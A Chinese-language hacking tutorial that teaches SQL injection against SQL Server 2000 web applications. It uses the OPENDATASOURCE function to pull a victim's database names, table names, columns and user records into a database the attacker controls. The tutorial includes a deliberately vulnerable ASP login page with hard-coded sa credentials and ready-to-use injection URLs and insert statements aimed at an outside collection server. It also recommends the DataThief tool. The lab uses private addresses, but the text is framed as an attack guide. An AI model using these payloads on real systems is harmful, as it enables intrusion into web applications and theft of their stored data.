目前市面上的SQL Injection工具很多,最受推崇的当属NBSI2了。SQL Injection的方法在网上也是满天飞,大家认真学一下都会很快成为脚本入侵“高手”。可是无论是工具,还是众多方法,猜SQL数据的时候原理不外乎两种:一个是对方的WEB服务器在没有关闭错误提示的时候,让SQL出错来暴出想要的信息;一个是在对方的WEB服务器关闭错误提示的时候,采用ASCII码拆半法分析。当关闭错误提示的时候,猜数据会很慢,遇到网速蜗牛的时候真是急死人,NBSI2此时还经常会出现“猜解错误,是否要重试”的警告对话框,真是麻烦。不过有了Opendatasource和Openrowset这两个函数,一切问题都应刃而解了。
在SQL联机从书的解释中,对没有定义为链接服务器名称的OLE DB数据源执行不常用查询时,使用特殊名称。在SQL Server 2000中,Openrowset和Opendatasource函数提供了连接信息,借以从OLE DB数据源访问数据。Openrowset和Opendatasource只应在引用不常访问的OLE DB数据源时使用。对于需要经常访问的数据源,应定义链接服务器。无论Opendatasource还是Openrowset都不能提供链接服务器定义的全部功能,包括安全管理和查询目录信息的能力。每次调用这些函数时,都必须提供所有的连接信息(包括密码)。简单来讲,这两个宏也就是不依靠链接服务器来进行分布式查循。
因为用Openrowset函数来直接获取注入数据库的信息的工具已经有了,我就不做详细地手工讲解了,在文章尾我会介绍此工具的简单用法,我这里着重来介绍一下Opendatasource的使用。联机丛书对Opendatasource宏的用法示例格式如下:
SELECT *
FROM Opendatasource(
'SQLOLEDB',
'Data Source=ServerName;User ID=MyUID;Password=MyPass'
).Northwind.dbo.Categories
我们完全可以用此语句获得数据库的库名、表名、列名、字段值的所有信息——如果你还是不明白,那就来看我表演。
我在192.168.8.10这台服务器上构建了一个测试环境,写了一个有漏洞的ASP代码。两段代码中的e.asp代码如下:
<form action=f.asp method=get>
帐号lcx<br>
密码<input type=text size=100 name=password>
<input type=submit value="/submit>
</form>
f.asp代码如下:
<%"
strSQLServerName = "127.0.0.1"
strSQLDBUserName = "sa"
strSQLDBPassword = "lcx"
strSQLDBName = "bbsuser"
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
sql2="select * from bbsuser where username='admin' and password='"&request("password")&"'"
set rs2=conn.execute(sql2)
%>
<br>
<%=" 执行的SQL语句是"&sql2%>
<%
rs2.close
set rs2=nothing
conn.close
set conn=nothing
%>
当在文本框提交“1’and db_name()>0”的时候,
我又在另一台服务器192.168.8.20装了一个SQL Server,sa的密码是lcx。因为Opendatasource宏走的是TCP协议,所以你要保证192.168.8.20的1433端口一定要被192.168.8.10访问到。OK,测试环境构建完毕,下面一起来看看如何入侵。
小提示:SQL Server SP2版本如果默认装在Windows XP SP2下的话,1433端口是不会被外界访问到的,这一点需要注意,建议打上SP3补丁。
第一步:得到当前所有库名
我们先在192.168.8.20上建库名和表名,你如果在企业管理器图形界面下安装我也不反对,我是直接用查循分析器写的语句:
create database lcx
CREATE TABLE ku(name nvarchar(256) null);
CREATE TABLE biao(id int NULL,name nvarchar(256) null);
这样我们就建好了一个库lcx,有两个表分别是ku和biao。Ku这个表存放了一个列名是name,类型是nvarchar(256),biao这个表存放了两个列名,分别是int型的id和nvarchar(256)型的name列名。这里的库名、表名、列名的名字都是随便定的,你只要保证类型对就可以了。
我们先来温习一下得到所有库名的SQL语句,代码是“select name from master.dbo.sysdatabases”。如果你现在还不懂这句代码的话,可要恶补一下了。我们用一条语句得到192.168.8.10服务器上的所有数据库名。
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select name from master.dbo.sysdatabases--
在我们的测试环境上就是:
http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases--
此时你跑去192.168.8.20的SQL上看一下KU这个表,你会惊奇发现对方所有的库名已经整齐的排好了。
说到这里很多人可能又要担心权限问题了,我可以负责任地告诉你,在Public权限下也是可以使用Opendatasource这个宏的。
得到所有的库了,你怎么才能知道那个是当前库呢?哈,你把语句换一下不就得了?改成如下的样子:
Insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.ku select db_name(0)--
可以了吗?在图4中,bbsuser是我们注入的当前库,我们来获得当前库的所有表名。
第二步:得到当前库的所有表名
语句为:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
这个语句省略了当前库名,得到的就是当前库的所有表名。你也可以把语句换成:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from bbsuser.dbo.sysobjects where xtype='U'--
我们来做下测试,
此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?
是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格式如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--
这里的库名我们在第一步里已经猜出来了。
第三步:获取列名
有没有看到我们获得的第一个列名是bbsuser,其ID值是357576312?有了这两条信息,我们来获取列名吧。在获取列名之前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句:
select * into [tmpcolumns] from syscolumns where 1=2
这样会把系统表syscolumns的结构复制给[tmpcolumns。
我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.tmpcolumns select * from
syscolumns where id=357576312--
再回到192.168.8.20上看一下lcx.dbo.tmpcolum这个表里边是什么内容,
看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做好了准备。这里我只解释两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问了,为什么获取的类型怎么都是56、175这样的数字呢?我查了一些资料,找到了数字与类型对应的关系,关系表如下:
when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ‘int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
第四步:获取字段值
有了注入数据库的当前库名、表名、列名的所有信息后,我们就可以获取这段值了。我们先在192.168.8.20上根据在获得的信息在lcx这个库来建一个新表bbsuser,列名分别是id(int类型长度是4)、username(char类型长度是10)、password(char类型长度是10)。如果你不明白这步,你仔细看一下和那个数字与类型的对照表。我在192.168.8.20的企业管理器上已经建好了.
获取注入数据库当前库所有信息的工作要一步到位,注入语句如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
在注入点上执行就是:
http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
我们来看一下最终究竟有没有成功?到192.168.8.20上的lcx.dbo.bbsuser上去抓个图,自然是成功了。
小提示:当在获取字段值的时候,建的表名、列名不一定要与注入库的完全一样,只要类型相符就可以了。
这样我们一步一步地把注入点的当前库的所有信息全部搬到本地来了。可能你说我的方法虽然不错,但毕竟没有用工具爽。目前我还没有见到用Opendatasource来获取注入信息的工具,倒是用Openrowset来获取注入信息的工具我已经找到了。下边我就来简单介绍一下它的用法。
工具是老外写的,名字是DataThiefV1.0.exe,软件运行界面.
像我要注入http://192.168.8.10/web/f.asp?password=1的话,构建的环境.
小提示:如果你注入的地址是字符型的,在URL地址里要写http://192.168.8.10/web/f.asp?password=1'; <***>这样的格式,要带单引号。如果是数字型的话,就要写成了http://192.168.8.10/web/f.asp?password=1; <***>,去掉单引号。
点GO,获取信息的速度真是飞快呀,估计和我在内网测试有关,呵呵。
如果你对Openrowset这个宏不了解的话,你自己抓包分析吧,我就不再罗嗦了。最后希望这篇文章对大家实现注入的方法多一种思路和启发,在这篇文章的基础上来进一步探索Opendatasource和Openrowset的用法。